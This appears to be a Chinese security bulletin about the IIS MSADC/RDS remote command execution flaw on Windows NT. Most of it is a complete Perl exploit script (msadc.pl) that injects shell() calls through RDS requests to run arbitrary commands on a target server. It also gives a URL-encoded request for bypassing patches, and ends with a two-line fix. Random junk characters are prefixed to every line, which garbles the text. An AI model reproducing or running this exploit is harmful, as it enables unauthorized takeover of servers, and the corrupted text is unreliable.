IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
hrRX= $zBG19 [% 涉及程序:
\HOOWaapN Microsoft NT server
E$[\Fk}S Az2$\ 描述:
%.R_[.W 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
ngN_,x7yc ZR'q.y[k) 详细:
Z qg(\ 如果你没有时间读详细内容的话,就删除:
{q:o}<-L+ c:\Program Files\Common Files\System\Msadc\msadcs.dll
HH|&$C|64 有关的安全问题就没有了。
a".uS4x 1XO*yZF 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
Mr(~
* Yn}_"FO' 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
|8"~ou:. 关于利用ODBC远程漏洞的描述,请参看:
-$4%@Z VBssn]w http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 3EcmNwr Cs
%-f" 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
G?]E6R http://www.microsoft.com/security/bulletins/MS99-025faq.asp EhybaRy;C ?fEX&t,' 这里不再论述。
hqY9\,.C ${ ~UA6 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
MNiu5-g5 p\8cl/~ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
(;a
O% 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
J7.bFW' >M^
1m( DwZt.* #将下面这段保存为txt文件,然后: "perl -x 文件名"
ys;e2xekg LxVd7r VY6 #!perl
|pp @ #
HJ5m5':a # MSADC/RDS 'usage' (aka exploit) script
S~F:%@,* #
T}[W')[s # by rain.forest.puppy
~]/X,Cf #
|7/B20 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
#~.i\|VL # beta test and find errors!
/)de`k" 7Yxy2[ use Socket; use Getopt::Std;
!o4xI? getopts("e:vd:h:XR", \%args);
8'B\%.+"8e \sC0om, print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
4T9hT~cT7 %~ecrQ; if (!defined $args{h} && !defined $args{R}) {
4W.;p"S2 print qq~
%`}CbD6 Usage: msadc.pl -h <host> { -d <delay> -X -v }
uPV,-rm[F_ -h <host> = host you want to scan (ip or domain)
Z=!*7@QY -d <seconds> = delay between calls, default 1 second
!r.}y|t?; -X = dump Index Server path table, if available
[NvEXTd -v = verbose
B:z -?u#B -e = external dictionary file for step 5
S/d})8~. S53%*7K. Or a -R will resume a command session
["Q8`vV0WO @\!wW-:A ~; exit;}
9rao&\eH n/@/yJ<EFi $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
9zO3KT2 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
pLzsL>6h if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
&,."=G if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
?GFxJ6!%I $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
OqBw&zm if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
hDlk! #* RC (v#G if (!defined $args{R}){ $ret = &has_msadc;
Ti3BlWQH die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
q 8=u.T bOck^1Hk y print "Please type the NT commandline you want to run (cmd /c assumed):\n"
kM3BP&
3m1 . "cmd /c ";
MmWJYF= $in=<STDIN>; chomp $in;
&OhKx $command="cmd /c " . $in ;
o@LjSQ5! qqzQKN if (defined $args{R}) {&load; exit;}
: 6>H\ HB`pK'gz print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
v[a#>!;s &try_btcustmr;
2J4|7UwJ ;mi0Q. print "\nStep 2: Trying to make our own DSN...";
_;B!6cRLps &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
N@MeaO GPR`=]n& & print "\nStep 3: Trying known DSNs...";
3^Yk?kFE &known_dsn;
\;7DS:d@ {yb\p9q{Yo print "\nStep 4: Trying known .mdbs...";
:LBe{Jbw &known_mdb;
m]-8?B1`Y Y6L+3*Qt if (defined $args{e}){
l IFt/ print "\nStep 5: Trying dictionary of DSN names...";
km c9P& &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
u=E?N:I~F '-i
tn print "Sorry Charley...maybe next time?\n";
h{* O9O< exit;
p fBO5Ys _kY5
6 ##############################################################################
zi?'3T%Ie ^CK)q2K>[ sub sendraw { # ripped and modded from whisker
J.<%E[
z sleep($delay); # it's a DoS on the server! At least on mine...
Ar<OP'C my ($pstr)=@_;
6ZG)`u".(" socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
owMH die("Socket problems\n");
T![K
i if(connect(S,pack "SnA4x8",2,80,$target)){
.897Z|$VB select(S); $|=1;
2 !;4mij, print $pstr; my @in=<S>;
g
Go select(STDOUT); close(S);
rp'fli?0e return @in;
tt^ze|*&t } else { die("Can't connect...\n"); }}
\PLV]%3, <;6]) ##############################################################################
b<F 4_WF bf74 " sub make_header { # make the HTTP request
7
YK+TGmU^ my $msadc=<<EOT
Nu_w@T\l POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
,g,jY]o User-Agent: ACTIVEDATA
N9n1s2;o Host: $ip
*c AoE l Content-Length: $clen
5./
(fgx> Connection: Keep-Alive
-ufmpq. 7&At_l_ ADCClientVersion:01.06
sN
C?o[9l! Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
EkL\~^ nUd\4;J# --!ADM!ROX!YOUR!WORLD!
X#3<hN*v Content-Type: application/x-varg
`U g.c Content-Length: $reqlen
6#KI?
6 Agi1r]W EOT
*cf"l ; $msadc=~s/\n/\r\n/g;
"T&uS1+=c return $msadc;}
uWWv`bI>x NdNfai ##############################################################################
%7d"()L N/%#GfXx sub make_req { # make the RDS request
4w
z
6% my ($switch, $p1, $p2)=@_;
qXI30Yo#d my $req=""; my $t1, $t2, $query, $dsn;
^J
RTi'v zl:D|h77 if ($switch==1){ # this is the btcustmr.mdb query
b{I`$E<[ $query="Select * from Customers where City=" . make_shell();
?:FotnU*p $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
!X8UP{J)L $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
o(``7A@7a RE .@ +A elsif ($switch==2){ # this is general make table query
9/$P_Q:3 $query="create table AZZ (B int, C varchar(10))";
zOE6;c81 $dsn="$p1";}
Nb#7&_f= lBn*G&(P elsif ($switch==3){ # this is general exploit table query
iTt=aQjd $query="select * from AZZ where C=" . make_shell();
5HbTgNI $dsn="$p1";}
q8h{-^" Qwa"AY5pW elsif ($switch==4){ # attempt to hork file info from index server
?8, N4T0) $query="select path from scope()";
@
RI^wZ-; $dsn="Provider=MSIDXS;";}
'sF563kE d>`(.qvxR elsif ($switch==5){ # bad query
K%}I}8M $query="select";
Q#Y3%WF $dsn="$p1";}
=|!~0O ~1'468 $t1= make_unicode($query);
NNE,|
: $t2= make_unicode($dsn);
;iORfUjxrq $req = "\x02\x00\x03\x00";
K D-_~uIF $req.= "\x08\x00" . pack ("S1", length($t1));
-(uBTO s $req.= "\x00\x00" . $t1 ;
BLH=:zb5 $req.= "\x08\x00" . pack ("S1", length($t2));
:'dc=C $req.= "\x00\x00" . $t2 ;
X}-H=1T? $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
f`,Hr?H return $req;}
Qyjuzfmz 'U"3'jh ##############################################################################
Gx!RaZ1 CCY|FK sub make_shell { # this makes the shell() statement
k@aP&Z~ return "'|shell(\"$command\")|'";}
%~5Q^3$O 4) 3pa* ##############################################################################
12PE{Mut lDU:EJ&DHE sub make_unicode { # quick little function to convert to unicode
!5OMAWNU@ my ($in)=@_; my $out;
N ]7a= for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
zsXH{atY return $out;}
]2%P``Yj \r%Vgne-g ##############################################################################
VQ?H:1R 9`v:$(I sub rdo_success { # checks for RDO return success (this is kludge)
9(F?|bfk my (@in) = @_; my $base=content_start(@in);
ZY!pw6R1>* if($in[$base]=~/multipart\/mixed/){
02^(z6K'&? return 1 if( $in[$base+10]=~/^\x09\x00/ );}
qX'a&~s)n return 0;}
R$fIb}PDr T+nC>}*jgJ ##############################################################################
0o|,& K ];d:z[\P sub make_dsn { # this makes a DSN for us
W>s'4C` my @drives=("c","d","e","f");
gyQ9Z} print "\nMaking DSN: ";
=(X'c.%i foreach $drive (@drives) {
LXC`Zq\ print "$drive: ";
Z{
Zox[/ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
G^ZkY "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
&8AS=v . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
^Ai_/! " $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
.r| vz6tU? return 0 if $2 eq "404"; # not found/doesn't exist
p\_qHq\;j if($2 eq "200") {
,*Z[P%<9 foreach $line (@results) {
WJU NJN return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
OPY/XKyY, } return 0;}
'HWgvmw( ]2Fo.n ##############################################################################
FFeRE{,
|J Q:.h sub verify_exists {
j' *p my ($page)=@_;
x\hn;i< my @results=sendraw("GET $page HTTP/1.0\n\n");
!J=;Z9 return $results[0];}
!en F8a #KNq:@wp6 ##############################################################################
<Ihed| mjl!Nth:< sub try_btcustmr {
n{Qh8" my @drives=("c","d","e","f");
m=iov2K> my @dirs=("winnt","winnt35","winnt351","win","windows");
P>T*:!s ; 06@0r foreach $dir (@dirs) {
To8v#.i print "$dir -> "; # fun status so you can see progress
wt.{Fqm foreach $drive (@drives) {
M}oj!xGB print "$drive: "; # ditto
lMzCDx!m $reqlen=length( make_req(1,$drive,$dir) ) - 28;
N"x\YHp $reqlenlen=length( "$reqlen" );
ms\/=96F $clen= 206 + $reqlenlen + $reqlen;
FJ%R3N\ #oroY.o my @results=sendraw(make_header() . make_req(1,$drive,$dir));
(bFWT_CChz if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
i)= 89?8 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
l6B ^sc*@ gqdB!l4 ##############################################################################
KaQq[a `{|}LFS> sub odbc_error {
&Y>~^$`J my (@in)=@_; my $base;
mz VuQ my $base = content_start(@in);
v6P~XK}G if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
R`C_CsXir $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
W8yfa[z~J $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
;Q>3N( $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
W3V{Xk| return $in[$base+4].$in[$base+5].$in[$base+6];}
v8vh~^X%P print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
,6orB}w?z print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
FX|lhwmc( $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
KpbZnW}g ilRm}lU|x ##############################################################################
%QsSR'` .xz,pn} sub verbose {
X\^& nLa my ($in)=@_;
svq9@!go return if !$verbose;
t2-nCRXEP print STDOUT "\n$in\n";}
k`7.p,;}U Nzi/3r7m ##############################################################################
R3{*v =ov [mB(GL sub save {
rxgVT4 my ($p1, $p2, $p3, $p4)=@_;
[rUh;_b\D open(OUT, ">rds.save") || print "Problem saving parameters...\n";
X|1_0 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
Xk&F4BJQk< close OUT;}
L >Ez- "'}v 0*[ ##############################################################################
f0mH|tI` W#Hv~1 sub load {
QK3j_'F=E my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
$XQ;~i
open(IN,"<rds.save") || die("Couldn't open rds.save\n");
q:-]d0B+ @p=<IN>; close(IN);
IGK_1@tq $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
Y0L5W;iM $target= inet_aton($ip) || die("inet_aton problems");
27*(oT print "Resuming to $ip ...";
1Oca@E\Z. $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
-0KbdHIKb' if($p[1]==1) {
[zh4W*K_cq $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
-M1~iOb $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
c6Yf"~TD0 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
csFJ5 if (rdo_success(@results)){print "Success!\n";}
WJY4>7}{B@ else { print "failed\n"; verbose(odbc_error(@results));}}
N+C)/EN$ elsif ($p[1]==3){
RlslF9f if(run_query("$p[3]")){
j""y2c1 print "Success!\n";} else { print "failed\n"; }}
Y( V3PnH elsif ($p[1]==4){
LG Y!j_bD if(run_query($drvst . "$p[3]")){
Qw6KX#n print "Success!\n"; } else { print "failed\n"; }}
p-i.ITRS exit;}
uzVG q!'H I_zk' ##############################################################################
{+/
.5 g]==!!^<D sub create_table {
$||ns@F+ my ($in)=@_;
:?$Sb8OuIL $reqlen=length( make_req(2,$in,"") ) - 28;
){:q;E]^fB $reqlenlen=length( "$reqlen" );
/H%<oAjp6 $clen= 206 + $reqlenlen + $reqlen;
3I;xU(rv my @results=sendraw(make_header() . make_req(2,$in,""));
a* W_fxb return 1 if rdo_success(@results);
^z *):e my $temp= odbc_error(@results); verbose($temp);
5!SoN}$ return 1 if $temp=~/Table 'AZZ' already exists/;
/Oq)3fU
e return 0;}
2Z/][?Jj{ \f /! ##############################################################################
rF8W(E_= }1a <{& sub known_dsn {
%0+h # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
<=)D=Ax/_[ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
-40'[a9E "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
]F"(OWW "banner", "banners", "ads", "ADCDemo", "ADCTest");
`'[7~ Ew[ TXd5v#_vo foreach $dSn (@dsns) {
oeu|/\+HW print ".";
B8cBQ v next if (!is_access("DSN=$dSn"));
)]c]el@y if(create_table("DSN=$dSn")){
LXh@o1 print "$dSn successful\n";
f%Z;05 if(run_query("DSN=$dSn")){
L@1,7@
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
I=4Xv<F print "Something's borked. Use verbose next time\n";}}} print "\n";}
8 l'bRyuS >bX-!<S ##############################################################################
D0Vyh"ua H9Y2n 0 sub is_access {
H-/; l54E my ($in)=@_;
6m, KL5>W $reqlen=length( make_req(5,$in,"") ) - 28;
Ism^hyL $reqlenlen=length( "$reqlen" );
]k::J>84 $clen= 206 + $reqlenlen + $reqlen;
?AeHVQ
:C my @results=sendraw(make_header() . make_req(5,$in,""));
PwFQ #Z my $temp= odbc_error(@results);
>%uAQiU verbose($temp); return 1 if ($temp=~/Microsoft Access/);
:rz9M@7 return 0;}
p4m^ ~e 1a($8> ##############################################################################
,2 zt.aqB `G=ztL!gq sub run_query {
H4PbO/{xO my ($in)=@_;
Xmap9x $reqlen=length( make_req(3,$in,"") ) - 28;
Q vv\+Jp^ $reqlenlen=length( "$reqlen" );
p3M#XC_H] $clen= 206 + $reqlenlen + $reqlen;
@9}),hl` my @results=sendraw(make_header() . make_req(3,$in,""));
zdxT35h return 1 if rdo_success(@results);
~")hE%Kl} my $temp= odbc_error(@results); verbose($temp);
(R4PD return 0;}
sBP}n.#$ LJRg>8 ##############################################################################
ZNzR`6} kq) +@p sub known_mdb {
1s{ISWm my @drives=("c","d","e","f","g");
u @{E{ my @dirs=("winnt","winnt35","winnt351","win","windows");
]}mly`Fw my $dir, $drive, $mdb;
d\~p5_5. my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
:r1;}hIA9 U}tl_5%) # this is sparse, because I don't know of many
x4CtSGG85f my @sysmdbs=( "\\catroot\\icatalog.mdb",
*'UhlFed "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
0K=Qf69Y "\\system32\\certmdb.mdb",
5kGxhD "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
W4)kkJ 0Y2\n-`z my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
$q Zc!Qc "\\cfusion\\cfapps\\forums\\forums_.mdb",
^=eq .(> "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
! (2-(LgA "\\cfusion\\cfapps\\security\\realm_.mdb",
9
9Ba{qj "\\cfusion\\cfapps\\security\\data\\realm.mdb",
]]el| "\\cfusion\\database\\cfexamples.mdb",
E
S#rs=" "\\cfusion\\database\\cfsnippets.mdb",
u~$WH, P3 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
pyUNRqp "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
iBG`43; "\\cfusion\\brighttiger\\database\\cleam.mdb",
XXa(305 "\\cfusion\\database\\smpolicy.mdb",
a{<p'_ "\\cfusion\\database\cypress.mdb",
>Y7r\ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
C>*5=p|T "\\website\\cgi-win\\dbsample.mdb",
6-mmi7IfO "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
DRH'A!r! "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
=?=)s ); #these are just
^y:FjQC: foreach $drive (@drives) {
GE%2/z p foreach $dir (@dirs){
u~" siH foreach $mdb (@sysmdbs) {
UppBnw print ".";
xj0cgK|! if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
PV?]UUc'n< print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
m! rwG( if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
F0@Qgk]\ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
\n[
392 } else { print "Something's borked. Use verbose next time\n"; }}}}}
uWUR3n 3LKB; foreach $drive (@drives) {
CD^CUbGk foreach $mdb (@mdbs) {
ao)Ck3] print ".";
*f79=x if(create_table($drv . $drive . $dir . $mdb)){
K1:a]aU?Iu print "\n" . $drive . $dir . $mdb . " successful\n";
:ar?0 if(run_query($drv . $drive . $dir . $mdb)){
;KZrl` print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
HbNYP/MN3 } else { print "Something's borked. Use verbose next time\n"; }}}}
Qm
$(
}
-u6}T! o:_^gJ+| ##############################################################################
sT)6nV vT?Q^PTO sub hork_idx {
.
3GnZR,L print "\nAttempting to dump Index Server tables...\n";
Q(lku"U' print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
BR;QY1 $reqlen=length( make_req(4,"","") ) - 28;
%moJF1 $reqlenlen=length( "$reqlen" );
Iph3%RaE
$clen= 206 + $reqlenlen + $reqlen;
o>2e!7 my @results=sendraw2(make_header() . make_req(4,"",""));
c\M#5+ 1j if (rdo_success(@results)){
6^Ph ' my $max=@results; my $c; my %d;
{]=v]O|, for($c=19; $c<$max; $c++){
9u?(^(. $results[$c]=~s/\x00//g;
L59bu/LfL $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
,!`SY) $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
#e*X0;m $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
Ejq=*UOP $d{"$1$2"}="";}
lj)f4zu foreach $c (keys %d){ print "$c\n"; }
vK(I3db! } else {print "Index server doesn't seem to be installed.\n"; }}
J2r1=5HS Yrpxy.1=F5 ##############################################################################
.AXdo'&2i [(1O" sub dsn_dict {
UV4u.7y open(IN, "<$args{e}") || die("Can't open external dictionary\n");
kGm:VYf% while(<IN>){
R8tF/dx>7 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
.Y! :x=e next if (!is_access("DSN=$dSn"));
oAY_sg+ if(create_table("DSN=$dSn")){
_().t5< print "$dSn successful\n";
|=\91fP68` if(run_query("DSN=$dSn")){
R aefj(^V print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
1 o|T print "Something's borked. Use verbose next time\n";}}}
X:_<Y_JT print "\n"; close(IN);}
N<(HPE}; 6)ycmu;!$ ##############################################################################
N0Gf0i> Uan,H1a sub sendraw2 { # ripped and modded from whisker
s;J\Kc?"| sleep($delay); # it's a DoS on the server! At least on mine...
]c}=5m/ my ($pstr)=@_;
ymtd>P" socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
:7\9xH die("Socket problems\n");
h4Ia>^@ if(connect(S,pack "SnA4x8",2,80,$target)){
B20_ig: print "Connected. Getting data";
\OcMiuw open(OUT,">raw.out"); my @in;
2/@D7>F&g select(S); $|=1; print $pstr;
>\ZR*CS while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
k5@d! }#c close(OUT); select(STDOUT); close(S); return @in;
%fv)7 CRM } else { die("Can't connect...\n"); }}
a}>Dz 1R j5\$[-'; ##############################################################################
JvkL37^n: ^n9a" qz sub content_start { # this will take in the server headers
,-@5NY1q my (@in)=@_; my $c;
7UKYmJk. for ($c=1;$c<500;$c++) {
*zy'#`> if($in[$c] =~/^\x0d\x0a/){
RlsVC_H\ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
6
mO" else { return $c+1; }}}
kJk xx*:u return -1;} # it should never get here actually
cn%2OP:L^ [?KJ9~+0 ##############################################################################
t+Z`n(> ?U_9{}r sub funky {
~GG?GB my (@in)=@_; my $error=odbc_error(@in);
Gy!P,a)z if($error=~/ADO could not find the specified provider/){
55-D\n< print "\nServer returned an ADO miscofiguration message\nAborting.\n";
9cQ_mgch exit;}
G;TsMq if($error=~/A Handler is required/){
$}R$t- print "\nServer has custom handler filters (they most likely are patched)\n";
:
,p||_G& exit;}
bC~~5Cm if($error=~/specified Handler has denied Access/){
Q2/.6O8 print "\nServer has custom handler filters (they most likely are patched)\n";
~Fw<eY exit;}}
] TSg!H m_*R.a ##############################################################################
.#fPw_i MdC<4^| sub has_msadc {
K;U39ofW my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
kX[fy7rVt my $base=content_start(@results);
We}lx{E return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
Z^zbWFO]5 return 0;}
?} ( = =x0No*#|' ########################
)`8pd 7<. F>+2DlA`<e j$x)pB3] 解决方案:
u,7zFg)H 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
%6ub3PLw8 2、移除web 目录: /msadc